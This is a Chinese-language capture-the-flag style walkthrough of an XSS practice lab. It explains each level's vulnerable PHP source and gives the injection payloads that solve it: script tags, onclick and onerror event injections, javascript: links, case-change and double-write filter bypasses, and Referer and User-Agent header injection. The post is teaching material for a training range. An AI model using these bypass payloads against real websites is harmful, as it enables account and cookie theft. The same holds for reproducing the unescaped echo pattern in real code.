XSS靶场通关
跨站脚本攻击(XSS) 是一种常见的Web安全漏洞,攻击者利用Web应用程序对用户输入检查不足的漏洞,将恶意脚本注入到网页中。当用户访问这些网页时,恶意脚本会在用户的浏览器中执行,从而窃取用户数据、弹出广告或篡改网页内容。
本文是用docker拉取靶场实现
level1
1、1level1.php?name=<a%20href="https://www.baidu.com">db</a>
会跳转到百度
一、先拆分整体结构
这个 URL 片段分为 3 个核心部分:
plaintext
php?name=<a%20href="https://www.baidu.com">db</a>
└─1┘ └─2─┘ └──────────3──────────────────┘
php:目标 PHP 脚本文件(比如 index.php、test.php)
?:URL 参数分隔符,作用是「告诉服务器:后面是要传递的参数」
name=xxx:GET 请求参数
name:参数名(自定义的变量名)
=:参数赋值符号
<a%20href="https://www.baidu.com">db</a>:参数值(带 HTML 代码的字符串)
二、关键:%20 是什么?(URL 编码核心)
你看到的 %20 不是乱码,是URL 编码规则:
URL 中不能直接传空格
标准 URL 只允许字母、数字、少数符号(-_.~),空格、中文、特殊符号必须编码,否则服务器无法识别。
%20 = 空格
这是 URL 编码的固定规则:空格字符 编码后 = %20
还原后:
plaintext
<a%20href=... → <a href=...
三、把参数值「还原成原始 HTML 代码」
把 %20 换回空格,参数值的真实内容是:
html
预览
<a href="https://www.baidu.com">db</a>
这是一段标准 HTML 超链接标签,含义:
<a>:超链接标签
href="网址":点击后跳转的目标地址(这里是百度)
db:链接显示的文字(页面上只看到 db,点击跳百度)
</a>:标签结束符
四、这个 URL 到底在做什么?
一句话总结:用户通过浏览器地址栏,给 PHP 脚本传递了一个名为 name 的参数,参数值是一段「跳转到百度的超链接 HTML 代码」。
对应 PHP 代码接收逻辑
1、2level1.php?name=<script>alert(`1`)</script>
一、先拆分整段 URL 结构
plaintext
level1.php?name=<script>alert(`1`)</script>
└────1────┘ └2┘ └──────────3─────────────┘
level1.php
服务器上的一个 PHP 网页文件(漏洞测试页面)。
?
URL 参数分隔符,代表后面开始传参数。
name=...
向 PHP 传递一个 GET 参数:
参数名:name
参数值:<script>alert(1)</script>(一段 JavaScript 代码)
二、参数值是什么?(核心)
参数值是一段 JavaScript 代码:
js
<script>alert(`1`)</script>
逐行解释:
<script>:JS 代码开始标签
alert(1):浏览器弹出一个提示框,内容是 1
</script>:JS 代码结束标签
这里的 反引号 `1` 和单引号 '1'、双引号 "1" 作用一样,都是字符串。
三、服务器端 PHP 做了什么?(漏洞根源)
漏洞页面 level1.php 的代码几乎一定是这样写的:
php
运行
<?php
// 直接获取 URL 里的 name 参数
$name = $_GET['name'];
// 直接输出到网页上!!!(危险操作)
echo $name;
?>
关键问题:
PHP 没有过滤、没有检查、没有转义直接把用户输入的 JS 代码 原封不动输出到 HTML 页面里。
四、浏览器最终看到的代码是什么?
服务器把你传的代码直接输出后,浏览器收到的页面是:
html
预览
<script>alert(`1`)</script>
浏览器会立刻执行这段 JS,于是:
✔ 弹出一个写着 1 的提示框
这就代表 XSS 漏洞利用成功!

源码解析
一、先看整体:这是一个 HTML + PHP 混合页面
前端是 HTML/JS(给浏览器看)后台是 PHP(运行在服务器,处理你的输入)漏洞就藏在 PHP 那段代码里
二、逐段逐行彻底解析
1. 网页基础结构(HTML 头部)html预览<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
作用:
告诉浏览器:这是 HTML5 页面
编码 UTF-8,正常显示中文
2. 关键 JavaScript(关卡提示用)js<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
这段是干嘛的?
这是关卡的 “奖励机制”
它把系统默认的 alert() 重写了
只要你执行 alert(1)
就会弹出:完成的不错!
然后自动跳转到第二关
这就是为什么你成功后会弹窗并跳转!
3. 网页标题html预览<title>欢迎来到level1</title>
</head>
4. 页面显示内容html预览<body>
<h1 align=center>欢迎来到level1</h1>
页面正中间显示大标题:欢迎来到 level1
🔥 5. 最核心漏洞代码(PHP 部分)php运行<?php
ini_set("display_errors", 0); // 关闭错误显示
$str = $_GET["name"]; // 接收你URL里的 name 参数
echo "<h2 align=center>欢迎用户".$str."</h2>"; // 直接输出!
?>
这三行就是 XSS 漏洞的根源
我逐行讲:
① $str = $_GET["name"];
接收你在 URL 输入的 name=... 内容
你输入:plaintextlevel1.php?name=<script>alert(1)</script>
那么 $str 就等于:plaintext<script>alert(1)</script>
② echo "欢迎用户".$str."";
直接把你输入的 JS 代码输出到页面上!没有过滤!没有转义!没有检查!
最终输出到浏览器的内容是:html预览欢迎用户<script>alert(1)</script>
浏览器看到这段代码 → 直接执行 JS → 弹窗成功!
6. 底部图片与长度显示html预览<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
显示一张图片
显示你输入的 payload 长度(方便你调试)
三、漏洞总结(最关键)
这个页面为什么存在 XSS 漏洞?
原因只有一句话:
PHP 获取用户输入后,直接原封不动输出到网页,没有任何过滤!php运行echo $str; // 危险!直接输出
你输入的 JS 代码就变成了网页的一部分
浏览器会当成正常脚本执行,于是弹窗、跳转、偷 cookie 都能做到。
四、你的攻击流程(100% 清晰)
你构造 URL:plaintextlevel1.php?name=<script>alert(1)</script>
PHP 获取 name 参数
PHP 直接输出到页面
浏览器解析执行 <script>alert(1)</script>
触发关卡 JS → 弹窗「完成的不错」→ 自动进 level2
level2

源代码echo "<h2 align=center>欢迎用户".$str."</h2>";
加入后<h2 align=center>欢迎用户"> <a href=#>123</a></h2>
源码<input type="text" value="你输入的内容">
加入后<input type="text" value="" οnclick=alert(1) "">

源码分析
htmlspecialchars($str) → <script> 在这里会被转义,无法执行。
level3


源码解析
htmlspecialchars()不拦截单引号 '- 输入框用的是
value='xxx'单引号包裹
才能成功闭合、注入事件!
less4

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
尖括号换成空
less5
"> <a href=javascript:alert(1)>

字符编码

$str2=str_replace("<script","<scr_ipt",$str);没有把尖括号过滤
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
转义加替换
less6
大小写绕过

str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)
没有对大小写进行过滤
less7
双写过滤
"><scscript>alert("1")</scscript>

less8
换成16进制
javascript:alert(1)


less9


源码分析

less10
keyword=<script>alert(1)</script>&t_link=qwe&t_history=999&t_sort=999

keyword=&t_sort="%20οnclick="alert(1)"%20type="txt"

less11
Referer: 111" type="text" οnclick="alert(1)" x="
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
less12
User-Agent:111" type="text" οnclick="alert(1)" x="

$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
less13
cookie值修改
src=%20level1.php?name=<img%20src=1%20οnerrοr=alert(1)>
less16
空格过滤
<img%0asrc=123%0aοnerrοr=alert(1)>
less17
arg01=a&arg02=123%20οnfοcus=alert(1)
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)